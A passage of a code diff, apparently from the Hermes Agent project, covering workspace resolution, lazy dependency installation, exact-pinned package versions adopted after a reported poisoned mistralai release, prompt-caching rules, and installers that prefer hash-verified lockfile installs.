for marker in markers_list:
|
||||
try:
|
||||
if (cur / marker).exists():
|
||||
return str(cur)
|
||||
except OSError:
|
||||
continue
|
||||
# Stop conditions.
|
||||
if ceiling_path is not None and cur == ceiling_path:
|
||||
return None
|
||||
parent = cur.parent
|
||||
if parent == cur:
|
||||
return None
|
||||
cur = parent
|
||||
return None
|
||||
|
||||
|
||||
def resolve_workspace_for_file(
|
||||
file_path: str,
|
||||
*,
|
||||
cwd: Optional[str] = None,
|
||||
) -> Tuple[Optional[str], bool]:
|
||||
"""Resolve the workspace root for a file.
|
||||
|
||||
Returns ``(workspace_root, gated_in)`` where ``gated_in`` is True
|
||||
iff LSP should run for this file at all. Currently the gate is
|
||||
"file is inside a git worktree found by walking up from cwd OR
|
||||
from the file itself".
|
||||
|
||||
The cwd path takes precedence — if the agent was launched in a
|
||||
git project, that worktree is the workspace, and any edit inside
|
||||
it (regardless of where the file lives) is in-scope. If the cwd
|
||||
isn't in a git worktree, we try the file's own location as a
|
||||
fallback.
|
||||
|
||||
Returns ``(None, False)`` when neither path is in a git worktree.
|
||||
"""
|
||||
cwd = cwd or os.getcwd()
|
||||
cwd_root = find_git_worktree(cwd)
|
||||
if cwd_root is not None:
|
||||
if is_inside_workspace(file_path, cwd_root):
|
||||
return cwd_root, True
|
||||
# File is outside the cwd's worktree — try the file's own
|
||||
# location as a secondary anchor. Useful for monorepos where
|
||||
# the user opens an unrelated checkout.
|
||||
file_root = find_git_worktree(file_path)
|
||||
if file_root is not None:
|
||||
return file_root, True
|
||||
return None, False
|
||||
|
||||
|
||||
def clear_cache() -> None:
|
||||
"""Clear the workspace-resolution cache.
|
||||
|
||||
Called on service shutdown so a subsequent re-init doesn't pick
|
||||
up stale results from a previous session.
|
||||
"""
|
||||
_workspace_cache.clear()
|
||||
|
||||
|
||||
__all__ = [
|
||||
"find_git_worktree",
|
||||
"is_inside_workspace",
|
||||
"nearest_root",
|
||||
"normalize_path",
|
||||
"resolve_workspace_for_file",
|
||||
"clear_cache",
|
||||
]
|
||||
@@ -875,6 +875,13 @@ class HindsightMemoryProvider(MemoryProvider):
|
||||
"Hindsight local runtime is unavailable"
|
||||
+ (f": {reason}" if reason else "")
|
||||
)
|
||||
try:
|
||||
from tools.lazy_deps import ensure as _lazy_ensure
|
||||
_lazy_ensure("memory.hindsight", prompt=False)
|
||||
except ImportError:
|
||||
pass
|
||||
except Exception as _e:
|
||||
raise ImportError(str(_e))
|
||||
from hindsight import HindsightEmbedded
|
||||
HindsightEmbedded.__del__ = lambda self: None
|
||||
llm_provider = self._config.get("llm_provider", "")
|
||||
|
||||
@@ -687,12 +687,28 @@ def get_honcho_client(config: HonchoClientConfig | None = None) -> Honcho:
|
||||
"For local instances, set HONCHO_BASE_URL instead."
|
||||
)
|
||||
|
||||
# Lazy-install the honcho SDK on demand. ensure() honors
|
||||
# security.allow_lazy_installs (default true). On failure we surface
|
||||
# the original ImportError-shape message so existing callers still get
|
||||
# the "go run hermes honcho setup" hint they used to.
|
||||
try:
|
||||
from tools.lazy_deps import FeatureUnavailable, ensure as _lazy_ensure
|
||||
_lazy_ensure("memory.honcho", prompt=False)
|
||||
except ImportError:
|
||||
# lazy_deps module missing — fall through to the raw import below.
|
||||
pass
|
||||
except Exception:
|
||||
# FeatureUnavailable or unexpected error. Don't crash here; let the
|
||||
# actual import attempt produce the canonical error message.
|
||||
pass
|
||||
|
||||
try:
|
||||
from honcho import Honcho
|
||||
except ImportError:
|
||||
raise ImportError(
|
||||
"honcho-ai is required for Honcho integration. "
|
||||
"Install it with: pip install honcho-ai"
|
||||
"Install it with: pip install honcho-ai "
|
||||
"(or run `hermes honcho setup` to configure)."
|
||||
)
|
||||
|
||||
# Allow config.yaml honcho.base_url to override the SDK's environment
|
||||
|
||||
+113
-61
@@ -11,84 +11,123 @@ requires-python = ">=3.11"
|
||||
authors = [{ name = "Nous Research" }]
|
||||
license = { text = "MIT" }
|
||||
dependencies = [
|
||||
# Core — pinned to known-good ranges to limit supply chain attack surface
|
||||
"openai>=2.21.0,<3",
|
||||
"anthropic>=0.39.0,<1",
|
||||
"python-dotenv>=1.2.1,<2",
|
||||
"fire>=0.7.1,<1",
|
||||
"httpx[socks]>=0.28.1,<1",
|
||||
"rich>=14.3.3,<15",
|
||||
"tenacity>=9.1.4,<10",
|
||||
"pyyaml>=6.0.2,<7",
|
||||
"ruamel.yaml>=0.18.16,<0.19",
|
||||
"requests>=2.33.0,<3", # CVE-2026-25645
|
||||
"jinja2>=3.1.5,<4",
|
||||
"pydantic>=2.12.5,<3",
|
||||
# Core — every direct dep is exact-pinned to ==X.Y.Z (no ranges).
|
||||
# Rationale: ranges allow PyPI to ship a fresh version of a transitive
|
||||
# at any time without a code review on our side. Exact pins mean the
|
||||
# only way a new package version reaches a user is via an intentional
|
||||
# update on our end (bump the pin in this file, regenerate uv.lock).
|
||||
# This was tightened on 2026-05-12 in response to the Mini Shai-Hulud
|
||||
# worm hitting mistralai 2.4.6 on PyPI; if that release had been
|
||||
# captured by `mistralai>=2.3.0,<3` rather than an exact pin, every
|
||||
# install in the hours before the quarantine would have pulled it.
|
||||
#
|
||||
# When updating: bump the version below AND regenerate uv.lock with
|
||||
# `uv lock` so the transitive resolution stays consistent. Don't
|
||||
# introduce ranges back without a written justification.
|
||||
#
|
||||
# Scope rule: only packages used by EVERY hermes session belong here.
|
||||
# Anything that's provider-specific (`anthropic`, `firecrawl-py`,
|
||||
# `exa-py`, `fal-client`, `edge-tts`, `parallel-web`) belongs in an
|
||||
# extra and gets lazy-installed via `tools/lazy_deps.py` when the
|
||||
# user picks that backend. Smaller `dependencies` = smaller blast
|
||||
# radius for the next supply-chain attack.
|
||||
"openai==2.24.0",
|
||||
"python-dotenv==1.2.1",
|
||||
"fire==0.7.1",
|
||||
"httpx[socks]==0.28.1",
|
||||
"rich==14.3.3",
|
||||
"tenacity==9.1.4",
|
||||
"pyyaml==6.0.3",
|
||||
"ruamel.yaml==0.18.17",
|
||||
"requests==2.33.0", # CVE-2026-25645
|
||||
"jinja2==3.1.6",
|
||||
"pydantic==2.12.5",
|
||||
# Interactive CLI (prompt_toolkit is used directly by cli.py)
|
||||
"prompt_toolkit>=3.0.52,<4",
|
||||
# Tools
|
||||
"exa-py>=2.9.0,<3",
|
||||
"firecrawl-py>=4.16.0,<5",
|
||||
"parallel-web>=0.4.2,<1",
|
||||
"fal-client>=0.13.1,<1",
|
||||
"prompt_toolkit==3.0.52",
|
||||
# Cron scheduler (built-in feature — scheduled cron/interval jobs use croniter).
|
||||
"croniter>=6.0.0,<7",
|
||||
# Text-to-speech (Edge TTS is free, no API key needed)
|
||||
"edge-tts>=7.2.7,<8",
|
||||
"croniter==6.0.0",
|
||||
# Skills Hub (GitHub App JWT auth — optional, only needed for bot identity)
|
||||
"PyJWT[crypto]>=2.12.0,<3", # CVE-2026-32597
|
||||
"PyJWT[crypto]==2.12.1", # CVE-2026-32597
|
||||
# Windows has no IANA tzdata shipped with the OS, so Python's ``zoneinfo``
|
||||
# (PEP 615) raises ``ZoneInfoNotFoundError`` for every non-UTC timezone
|
||||
# out of the box. ``tzdata`` ships the Olson database as a data package
|
||||
# Python resolves automatically. No-op on Linux/macOS (which have
|
||||
# /usr/share/zoneinfo). Credits: PR #13182 (@sprmn24).
|
||||
"tzdata>=2023.3; sys_platform == 'win32'",
|
||||
"tzdata==2025.3; sys_platform == 'win32'",
|
||||
# Cross-platform process / PID management. `psutil` is the canonical
|
||||
# answer for "is this PID alive" and process-tree walking across Linux,
|
||||
# macOS and Windows. It replaces POSIX-only idioms like `os.kill(pid, 0)`
|
||||
# (which is a silent killer on Windows — see CONTRIBUTING.md) and
|
||||
# `os.killpg` (which doesn't exist on Windows).
|
||||
"psutil>=5.9.0,<8",
|
||||
"psutil==7.2.2",
|
||||
]
|
||||
|
||||
[project.optional-dependencies]
|
||||
modal = ["modal>=1.0.0,<2"]
|
||||
daytona = ["daytona>=0.148.0,<1"]
|
||||
vercel = ["vercel>=0.5.7,<0.6.0"]
|
||||
hindsight = ["hindsight-client>=0.4.22"]
|
||||
dev = ["debugpy>=1.8.0,<2", "pytest>=9.0.2,<10", "pytest-asyncio>=1.3.0,<2", "pytest-xdist>=3.0,<4", "pytest-split>=0.9,<1", "mcp>=1.2.0,<2", "ty>=0.0.1a29,<0.0.22", "ruff"]
|
||||
messaging = ["python-telegram-bot[webhooks]>=22.6,<23", "discord.py[voice]>=2.7.1,<3", "aiohttp>=3.13.3,<4", "slack-bolt>=1.18.0,<2", "slack-sdk>=3.27.0,<4", "qrcode>=7.0,<8"]
|
||||
# Native Anthropic provider — only needed when provider=anthropic (not via
|
||||
# OpenRouter or other aggregators).
|
||||
anthropic = ["anthropic==0.86.0"]
|
||||
# Web search backends — each only loaded when the user picks it as their
|
||||
# search provider (configured via `hermes tools` or config.yaml).
|
||||
exa = ["exa-py==2.10.2"]
|
||||
firecrawl = ["firecrawl-py==4.17.0"]
|
||||
parallel-web = ["parallel-web==0.4.2"]
|
||||
# Image generation backends
|
||||
fal = ["fal-client==0.13.1"]
|
||||
# Edge TTS — default TTS provider but still optional (users can pick
|
||||
# ElevenLabs / OpenAI / MiniMax instead).
|
||||
edge-tts = ["edge-tts==7.2.7"]
|
||||
modal = ["modal==1.3.4"]
|
||||
daytona = ["daytona==0.155.0"]
|
||||
vercel = ["vercel==0.5.7"]
|
||||
hindsight = ["hindsight-client==0.6.1"]
|
||||
dev = ["debugpy==1.8.20", "pytest==9.0.2", "pytest-asyncio==1.3.0", "pytest-xdist==3.8.0", "pytest-split==0.11.0", "mcp==1.26.0", "ty==0.0.21", "ruff==0.15.10"]
|
||||
messaging = ["python-telegram-bot[webhooks]==22.6", "discord.py[voice]==2.7.1", "aiohttp==3.13.3", "slack-bolt==1.27.0", "slack-sdk==3.40.1", "qrcode==7.4.2"]
|
||||
cron = [] # croniter is now a core dependency; this extra kept for back-compat
|
||||
slack = ["slack-bolt>=1.18.0,<2", "slack-sdk>=3.27.0,<4"]
|
||||
matrix = ["mautrix[encryption]>=0.20,<1", "Markdown>=3.6,<4", "aiosqlite>=0.20", "asyncpg>=0.29", "aiohttp-socks>=0.10,<1"]
|
||||
cli = ["simple-term-menu>=1.0,<2"]
|
||||
tts-premium = ["elevenlabs>=1.0,<2"]
|
||||
slack = ["slack-bolt==1.27.0", "slack-sdk==3.40.1"]
|
||||
matrix = ["mautrix[encryption]==0.21.0", "Markdown==3.10.2", "aiosqlite==0.22.1", "asyncpg==0.31.0", "aiohttp-socks==0.11.0"]
|
||||
cli = ["simple-term-menu==1.6.6"]
|
||||
tts-premium = ["elevenlabs==1.59.0"]
|
||||
voice = [
|
||||
# Local STT pulls in wheel-only transitive deps (ctranslate2, onnxruntime),
|
||||
# so keep it out of the base install for source-build packagers like Homebrew.
|
||||
"faster-whisper>=1.0.0,<2",
|
||||
"sounddevice>=0.4.6,<1",
|
||||
"numpy>=1.24.0,<3",
|
||||
"faster-whisper==1.2.1",
|
||||
"sounddevice==0.5.5",
|
||||
"numpy==2.4.3",
|
||||
]
|
||||
pty = [
|
||||
"ptyprocess>=0.7.0,<1; sys_platform != 'win32'",
|
||||
"pywinpty>=2.0.0,<3; sys_platform == 'win32'",
|
||||
"ptyprocess==0.7.0; sys_platform != 'win32'",
|
||||
"pywinpty==2.0.15; sys_platform == 'win32'",
|
||||
]
|
||||
honcho = ["honcho-ai>=2.0.1,<3"]
|
||||
mcp = ["mcp>=1.2.0,<2"]
|
||||
homeassistant = ["aiohttp>=3.9.0,<4"]
|
||||
sms = ["aiohttp>=3.9.0,<4"]
|
||||
honcho = ["honcho-ai==2.0.1"]
|
||||
mcp = ["mcp==1.26.0"]
|
||||
homeassistant = ["aiohttp==3.13.3"]
|
||||
sms = ["aiohttp==3.13.3"]
|
||||
# Computer use — macOS background desktop control via cua-driver (MCP stdio).
|
||||
# The cua-driver binary itself is installed via `hermes tools` post-setup
|
||||
# (curl install script); this extra just pins the MCP client used to talk
|
||||
# to it, which is already provided by the `mcp` extra.
|
||||
computer-use = ["mcp>=1.2.0,<2"]
|
||||
acp = ["agent-client-protocol>=0.9.0,<1.0"]
|
||||
mistral = ["mistralai>=2.3.0,<3"]
|
||||
bedrock = ["boto3>=1.35.0,<2"]
|
||||
computer-use = ["mcp==1.26.0"]
|
||||
acp = ["agent-client-protocol==0.9.0"]
|
||||
# mistral: extra REMOVED 2026-05-12 — `mistralai` PyPI project quarantined
|
||||
# after malicious 2.4.6 release (Mini Shai-Hulud worm). Every version of
|
||||
# `mistralai` returns 404 on PyPI right now, so any pin we'd write is
|
||||
# unresolvable, which breaks `uv lock --check` in CI.
|
||||
#
|
||||
# To restore once PyPI un-quarantines:
|
||||
# 1. Verify the new release is clean (read the changelog, check Socket
|
||||
# advisory page, confirm no malicious code review findings).
|
||||
# 2. Add back: mistral = ["mistralai==<verified-version>"]
|
||||
# 3. Re-enable Mistral in:
|
||||
# - tools/lazy_deps.py (LAZY_DEPS["tts.mistral"], LAZY_DEPS["stt.mistral"])
|
||||
# - hermes_cli/tools_config.py (un-hide from provider picker)
|
||||
# - hermes_cli/web_server.py (re-add to dashboard STT options)
|
||||
# - tools/transcription_tools.py / tools/tts_tool.py (drop disabled stubs)
|
||||
# 4. Run `uv lock` to regenerate transitives.
|
||||
# 5. Optionally re-add to [all] only after a few days of clean operation.
|
||||
bedrock = ["boto3==1.42.89"]
|
||||
termux = [
|
||||
# Baseline Android / Termux path for reliable fresh installs.
|
||||
"python-telegram-bot[webhooks]>=22.6,<23",
|
||||
"python-telegram-bot[webhooks]==22.6",
|
||||
"hermes-agent[cron]",
|
||||
"hermes-agent[cli]",
|
||||
"hermes-agent[pty]",
|
||||
@@ -111,41 +150,50 @@ termux-all = [
|
||||
"hermes-agent[dingtalk]",
|
||||
"hermes-agent[feishu]",
|
||||
"hermes-agent[google]",
|
||||
"hermes-agent[mistral]",
|
||||
# mistral: omitted from broad termux-all profile — `mistralai` PyPI package
|
||||
# is currently quarantined (malicious 2.4.6 release). Users who explicitly
|
||||
# want Voxtral STT/TTS can still `pip install hermes-agent[mistral]`
|
||||
# directly once PyPI un-quarantines.
|
||||
"hermes-agent[bedrock]",
|
||||
"hermes-agent[homeassistant]",
|
||||
"hermes-agent[sms]",
|
||||
"hermes-agent[web]",
|
||||
]
|
||||
dingtalk = ["dingtalk-stream>=0.20,<1", "alibabacloud-dingtalk>=2.0.0", "qrcode>=7.0,<8"]
|
||||
feishu = ["lark-oapi>=1.5.3,<2", "qrcode>=7.0,<8"]
|
||||
dingtalk = ["dingtalk-stream==0.24.3", "alibabacloud-dingtalk==2.2.42", "qrcode==7.4.2"]
|
||||
feishu = ["lark-oapi==1.5.3", "qrcode==7.4.2"]
|
||||
google = [
|
||||
# Required by the google-workspace skill (Gmail, Calendar, Drive, Contacts,
|
||||
# Sheets, Docs). Declared here so packagers (Nix, Homebrew) ship them with
|
||||
# the [all] extra and users don't hit runtime `pip install` paths that fail
|
||||
# in environments without pip (e.g. Nix-managed Python).
|
||||
"google-api-python-client>=2.100,<3",
|
||||
"google-auth-oauthlib>=1.0,<2",
|
||||
"google-auth-httplib2>=0.2,<1",
|
||||
"google-api-python-client==2.194.0",
|
||||
"google-auth-oauthlib==1.3.1",
|
||||
"google-auth-httplib2==0.3.1",
|
||||
]
|
||||
youtube = [
|
||||
# Required by skills/media/youtube-content and
|
||||
# optional-skills/productivity/memento-flashcards (youtube_quiz.py).
|
||||
# Without this declaration uv sync omits the package and both skills fail
|
||||
# at first invocation with ModuleNotFoundError (issue #22243).
|
||||
"youtube-transcript-api>=1.2.0",
|
||||
"youtube-transcript-api==1.2.4",
|
||||
]
|
||||
# `hermes dashboard` (localhost SPA + API). Not in core to keep the default install lean.
|
||||
web = ["fastapi>=0.104.0,<1", "uvicorn[standard]>=0.24.0,<1"]
|
||||
web = ["fastapi==0.133.1", "uvicorn[standard]==0.41.0"]
|
||||
rl = [
|
||||
"atroposlib @ git+https://github.com/NousResearch/atropos.git@c20c85256e5a45ad31edf8b7276e9c5ee1995a30",
|
||||
"tinker @ git+https://github.com/thinking-machines-lab/tinker.git@30517b667f18a3dfb7ef33fb56cf686d5820ba2b",
|
||||
"fastapi>=0.104.0,<1",
|
||||
"uvicorn[standard]>=0.24.0,<1",
|
||||
"wandb>=0.15.0,<1",
|
||||
"fastapi==0.133.1",
|
||||
"uvicorn[standard]==0.41.0",
|
||||
"wandb==0.25.1",
|
||||
]
|
||||
yc-bench = ["yc-bench @ git+https://github.com/collinear-ai/yc-bench.git@bfb0c88062450f46341bd9a5298903fc2e952a5c ; python_version >= '3.12'"]
|
||||
all = [
|
||||
"hermes-agent[anthropic]",
|
||||
"hermes-agent[exa]",
|
||||
"hermes-agent[firecrawl]",
|
||||
"hermes-agent[parallel-web]",
|
||||
"hermes-agent[fal]",
|
||||
"hermes-agent[edge-tts]",
|
||||
"hermes-agent[modal]",
|
||||
"hermes-agent[daytona]",
|
||||
"hermes-agent[vercel]",
|
||||
@@ -169,7 +217,11 @@ all = [
|
||||
"hermes-agent[dingtalk]",
|
||||
"hermes-agent[feishu]",
|
||||
"hermes-agent[google]",
|
||||
"hermes-agent[mistral]",
|
||||
# mistral: omitted from [all] — `mistralai` PyPI package is currently
|
||||
# quarantined (malicious 2.4.6 release on 2026-05-12). Pulling it from
|
||||
# [all] would break every fresh install / AUR build / Docker build / CI
|
||||
# run until PyPI un-quarantines. Users who explicitly want Voxtral STT/TTS
|
||||
# can still `pip install hermes-agent[mistral]` once it's available again.
|
||||
"hermes-agent[bedrock]",
|
||||
"hermes-agent[web]",
|
||||
"hermes-agent[youtube]",
|
||||
|
||||
+23
-2
@@ -3465,6 +3465,15 @@ class AIAgent:
|
||||
return True, True
|
||||
if (is_openrouter or is_nous_portal) and is_claude:
|
||||
return True, False
|
||||
# Nous Portal Qwen (e.g. qwen3.6-plus) takes the same envelope-layout
|
||||
# cache_control path as Portal Claude. Portal proxies to OpenRouter
|
||||
# and the upstream Qwen route accepts cache_control markers; without
|
||||
# this branch the alibaba-family check below only matches
|
||||
# provider=opencode/alibaba and Portal traffic falls through to
|
||||
# (False, False), serving 0% cache hits and re-billing the full
|
||||
# prompt on every turn.
|
||||
if is_nous_portal and "qwen" in model_lower:
|
||||
return True, False
|
||||
if is_anthropic_wire and is_claude:
|
||||
# Third-party Anthropic-compatible gateway.
|
||||
return True, True
|
||||
@@ -3540,7 +3549,19 @@ class AIAgent:
|
||||
eff_api_mode = api_mode if api_mode is not None else (self.api_mode or "")
|
||||
eff_model = (model if model is not None else self.model) or ""
|
||||
|
||||
if "claude" not in eff_model.lower():
|
||||
model_lower = eff_model.lower()
|
||||
is_claude = "claude" in model_lower
|
||||
is_nous_portal = "nousresearch" in eff_base_url.lower()
|
||||
|
||||
# Nous Portal: Claude AND Qwen both get long-lived caching.
|
||||
# Portal proxies to OpenRouter with identical cache_control
|
||||
# semantics; any model on Portal that accepts envelope-layout
|
||||
# markers via _anthropic_prompt_cache_policy also benefits from
|
||||
# the documented 1h cross-session TTL.
|
||||
if is_nous_portal and (is_claude or "qwen" in model_lower):
|
||||
return True
|
||||
|
||||
if not is_claude:
|
||||
return False
|
||||
|
||||
# Native Anthropic + Anthropic OAuth subscription
|
||||
@@ -3554,7 +3575,7 @@ class AIAgent:
|
||||
|
||||
# Nous Portal — front-ends OpenRouter behind the scenes; identical
|
||||
# wire format and cache_control semantics.
|
||||
if "nousresearch" in eff_base_url.lower():
|
||||
if is_nous_portal:
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
+69
-11
@@ -793,30 +793,87 @@ function Install-Dependencies {
|
||||
# Tell uv to install into our venv (no activation needed)
|
||||
$env:VIRTUAL_ENV = "$InstallDir\venv"
|
||||
}
|
||||
|
||||
|
||||
# Hash-verified install (Tier 0) — when uv.lock is present, prefer
|
||||
# `uv sync --locked`. The lockfile records SHA256 hashes for every
|
||||
# transitive dependency, so a compromised transitive (different hash
|
||||
# than what we shipped) is REJECTED by the resolver. This is the
|
||||
# *only* path that protects against the "direct dep is fine, but the
|
||||
# dep's dep got worm-poisoned overnight" failure mode. The
|
||||
# `uv pip install` tiers below re-resolve transitives fresh from PyPI
|
||||
# without any hash verification — they exist to keep installs working
|
||||
# when the lockfile is stale, missing, or out-of-sync with the
|
||||
# current extras spec, NOT because they're equivalent in posture.
|
||||
if (Test-Path "uv.lock") {
|
||||
Write-Info "Trying tier: hash-verified (uv.lock) ..."
|
||||
& $UvCmd sync --all-extras --locked
|
||||
if ($LASTEXITCODE -eq 0) {
|
||||
Write-Success "Main package installed (hash-verified via uv.lock)"
|
||||
$script:InstalledTier = "hash-verified (uv.lock)"
|
||||
# Skip the rest of the tiered cascade — we already have a
|
||||
# complete, hash-verified install.
|
||||
$skipPipFallback = $true
|
||||
} else {
|
||||
Write-Warn "uv.lock sync failed (lockfile may be stale), falling back to PyPI resolve..."
|
||||
$skipPipFallback = $false
|
||||
}
|
||||
} else {
|
||||
Write-Info "uv.lock not found — falling back to PyPI resolve (no hash verification)"
|
||||
$skipPipFallback = $false
|
||||
}
|
||||
|
||||
# Install main package. Tiered fallback so a single flaky git+https dep
|
||||
# (atroposlib / tinker in the [rl] extra) doesn't silently drop
|
||||
# dashboard/MCP/cron/messaging extras. Each tier's stdout/stderr is
|
||||
# preserved — no Out-Null swallowing — so the user can see what failed.
|
||||
#
|
||||
# Tier 1: [all] — everything, including RL git+https deps (best case).
|
||||
# Tier 2: [core-extras] synthesised locally — all PyPI-only extras we
|
||||
# ship (web, mcp, cron, cli, voice, messaging, slack, dev, acp,
|
||||
# pty, homeassistant, sms, tts-premium, honcho, google, mistral,
|
||||
# bedrock, dingtalk, feishu, modal, daytona, vercel). Drops [rl]
|
||||
# and [matrix] (linux-only) which are the usual failure culprits.
|
||||
# Tier 3: [web,mcp,cron,cli,messaging,dev] — the minimum we strongly
|
||||
# Tier 2: [all] minus a small list of currently-broken extras. The
|
||||
# broken list is centralised in $brokenExtras below — when
|
||||
# a package gets quarantined / yanked / pulled, add it here
|
||||
# and the resolver no longer chokes on it. This is what saves
|
||||
# the user from silently losing 10+ unrelated extras every
|
||||
# time one upstream package breaks.
|
||||
# Tier 3: [core-extras] synthesised locally — all PyPI-only extras we
|
||||
# ship, also minus $brokenExtras. Drops [rl] and [matrix]
|
||||
# (linux-only) which are the usual failure culprits.
|
||||
# Tier 4: [web,mcp,cron,cli,messaging,dev] — the minimum we strongly
|
||||
# believe a user expects `hermes dashboard` / slash commands /
|
||||
# cron / messaging platforms to work out of the box.
|
||||
# Tier 4: bare `.` — last-resort so at least the core CLI launches.
|
||||
# Tier 5: bare `.` — last-resort so at least the core CLI launches.
|
||||
|
||||
# Currently-broken extras. Edit this list when an upstream package
|
||||
# gets quarantined / yanked / breaks resolution. Empty means everything
|
||||
# in [all] should be installable; populate with the names of extras
|
||||
# whose deps are temporarily unavailable to keep installs working
|
||||
# for users.
|
||||
$brokenExtras = @()
|
||||
|
||||
$allExtras = @(
|
||||
"modal","daytona","vercel","messaging","matrix","cron","cli","dev",
|
||||
"tts-premium","slack","pty","honcho","mcp","homeassistant","sms",
|
||||
"acp","voice","dingtalk","feishu","google","bedrock","web",
|
||||
"youtube"
|
||||
)
|
||||
$pypiExtras = @(
|
||||
"web","mcp","cron","cli","voice","messaging","slack","dev","acp",
|
||||
"pty","homeassistant","sms","tts-premium","honcho","google",
|
||||
"bedrock","dingtalk","feishu","modal","daytona","vercel","youtube"
|
||||
)
|
||||
$safeAll = ($allExtras | Where-Object { $brokenExtras -notcontains $_ }) -join ","
|
||||
$safePypi = ($pypiExtras | Where-Object { $brokenExtras -notcontains $_ }) -join ","
|
||||
$brokenLabel = if ($brokenExtras) { ($brokenExtras -join ", ") } else { "none" }
|
||||
|
||||
$installTiers = @(
|
||||
@{ Name = "all (with RL/matrix extras)"; Spec = ".[all]" },
|
||||
@{ Name = "PyPI-only extras (no git deps)"; Spec = ".[web,mcp,cron,cli,voice,messaging,slack,dev,acp,pty,homeassistant,sms,tts-premium,honcho,google,mistral,bedrock,dingtalk,feishu,modal,daytona,vercel]" },
|
||||
@{ Name = "all minus known-broken ($brokenLabel)"; Spec = ".[$safeAll]" },
|
||||
@{ Name = "PyPI-only extras (no git deps)"; Spec = ".[$safePypi]" },
|
||||
@{ Name = "dashboard + core platforms"; Spec = ".[web,mcp,cron,cli,messaging,dev]" },
|
||||
@{ Name = "core only (no extras)"; Spec = "." }
|
||||
)
|
||||
$installed = $false
|
||||
foreach ($tier in $installTiers) {
|
||||
$installed = $skipPipFallback
|
||||
if (-not $skipPipFallback) {
|
||||
foreach ($tier in $installTiers) {
|
||||
Write-Info "Trying tier: $($tier.Name) ..."
|
||||
& $UvCmd pip install -e $tier.Spec
|
||||
if ($LASTEXITCODE -eq 0) {
|
||||
@@ -826,6 +883,7 @@ function Install-Dependencies {
|
||||
break
|
||||
}
|
||||
Write-Warn "Tier '$($tier.Name)' failed (exit $LASTEXITCODE). Trying next tier..."
|
||||
}
|
||||
}
|
||||
if (-not $installed) {
|
||||
throw "Failed to install hermes-agent package even with no extras. Inspect the uv pip install output above."
|
||||
|
||||
+116
-12
@@ -1060,20 +1060,124 @@ install_deps() {
|
||||
fi
|
||||
|
||||
# Install the main package in editable mode with all extras.
|
||||
# Try [all] first, fall back to base install if extras have issues.
|
||||
ALL_INSTALL_LOG=$(mktemp)
|
||||
if ! $UV_CMD pip install -e ".[all]" 2>"$ALL_INSTALL_LOG"; then
|
||||
log_warn "Full install (.[all]) failed, trying base install..."
|
||||
log_info "Reason: $(tail -5 "$ALL_INSTALL_LOG" | head -3)"
|
||||
rm -f "$ALL_INSTALL_LOG"
|
||||
if ! $UV_CMD pip install -e "."; then
|
||||
log_error "Package installation failed."
|
||||
log_info "Check that build tools are installed: sudo apt install build-essential python3-dev"
|
||||
log_info "Then re-run: cd $INSTALL_DIR && uv pip install -e '.[all]'"
|
||||
exit 1
|
||||
#
|
||||
# Hash-verified install (Tier 0) — when uv.lock is present, prefer
|
||||
# `uv sync --locked`. The lockfile records SHA256 hashes for every
|
||||
# transitive, so a compromised transitive (different hash than what
|
||||
# we shipped) is REJECTED by the resolver. This is the *only* path
|
||||
# that protects against the "direct dep is fine, but the dep's dep
|
||||
# got worm-poisoned overnight" failure mode. All `uv pip install`
|
||||
# tiers below re-resolve transitives fresh from PyPI without any
|
||||
# hash verification — they exist to keep installs working when the
|
||||
# lockfile is stale, missing, or out-of-sync with the current
|
||||
# extras spec, NOT because they're equivalent in posture.
|
||||
if [ -f "uv.lock" ]; then
|
||||
log_info "Trying tier: hash-verified (uv.lock) ..."
|
||||
if UV_PROJECT_ENVIRONMENT="$INSTALL_DIR/venv" $UV_CMD sync --all-extras --locked 2>"$(mktemp)"; then
|
||||
log_success "Main package installed (hash-verified via uv.lock)"
|
||||
log_success "All dependencies installed"
|
||||
return 0
|
||||
fi
|
||||
log_warn "uv.lock sync failed (lockfile may be stale), falling back to PyPI resolve..."
|
||||
else
|
||||
rm -f "$ALL_INSTALL_LOG"
|
||||
log_info "uv.lock not found — falling back to PyPI resolve (no hash verification)"
|
||||
fi
|
||||
|
||||
# Multi-tier fallback. The point of the tiers is that ONE compromised
|
||||
# PyPI package (a worm-poisoned release that gets quarantined, like
|
||||
# mistralai 2.4.6 in May 2026) shouldn't be able to silently demote a
|
||||
# fresh install all the way down to "core only" — the user should keep
|
||||
# everything else they signed up for.
|
||||
#
|
||||
# Tier 1: [all] — everything, including RL git+https deps (best case).
|
||||
# Tier 2: [all] minus the currently-broken extras list. Edit
|
||||
# _BROKEN_EXTRAS below when something on PyPI breaks; this lets
|
||||
# users keep voice/honcho/google/slack/matrix/etc. even when
|
||||
# one transitive is unavailable. List the extras here as bare
|
||||
# names from pyproject.toml [project.optional-dependencies] —
|
||||
# the script translates them to `[a,b,c]` form below.
|
||||
# Tier 3: PyPI-only extras (no git deps) — drops [rl] / [yc-bench]
|
||||
# which are git+https and may fail in restricted networks.
|
||||
# Tier 4: dashboard + core platforms — minimum viable interactive set.
|
||||
# Tier 5: bare `.` — last-resort so at least the core CLI launches.
|
||||
#
|
||||
# Each tier's stderr is captured to a tempfile so we can show the user
|
||||
# WHY the higher tier failed instead of silently dropping support.
|
||||
local _BROKEN_EXTRAS=() # populate when an extra becomes unresolvable
|
||||
local _ALL_EXTRAS=(
|
||||
modal daytona vercel messaging matrix cron cli dev tts-premium slack
|
||||
pty honcho mcp homeassistant sms acp voice dingtalk feishu google
|
||||
bedrock web youtube
|
||||
)
|
||||
# Tier 2: all extras minus _BROKEN_EXTRAS
|
||||
local _SAFE_EXTRAS=()
|
||||
local _e _b _skip
|
||||
for _e in "${_ALL_EXTRAS[@]}"; do
|
||||
_skip=false
|
||||
for _b in "${_BROKEN_EXTRAS[@]}"; do
|
||||
if [ "$_e" = "$_b" ]; then _skip=true; break; fi
|
||||
done
|
||||
if [ "$_skip" = false ]; then _SAFE_EXTRAS+=("$_e"); fi
|
||||
done
|
||||
local _SAFE_SPEC
|
||||
_SAFE_SPEC=".[$(IFS=,; echo "${_SAFE_EXTRAS[*]}")]"
|
||||
# Tier 3: PyPI-only extras (no git deps), still skipping broken ones.
|
||||
# Mirrors the install.ps1 list but excludes [rl] / [yc-bench] / [matrix]
|
||||
# (matrix needs python-olm which fails to build on some hosts).
|
||||
local _PYPI_EXTRAS=(
|
||||
web mcp cron cli voice messaging slack dev acp pty homeassistant sms
|
||||
tts-premium honcho google bedrock dingtalk feishu modal daytona vercel
|
||||
youtube
|
||||
)
|
||||
local _PYPI_SAFE=()
|
||||
for _e in "${_PYPI_EXTRAS[@]}"; do
|
||||
_skip=false
|
||||
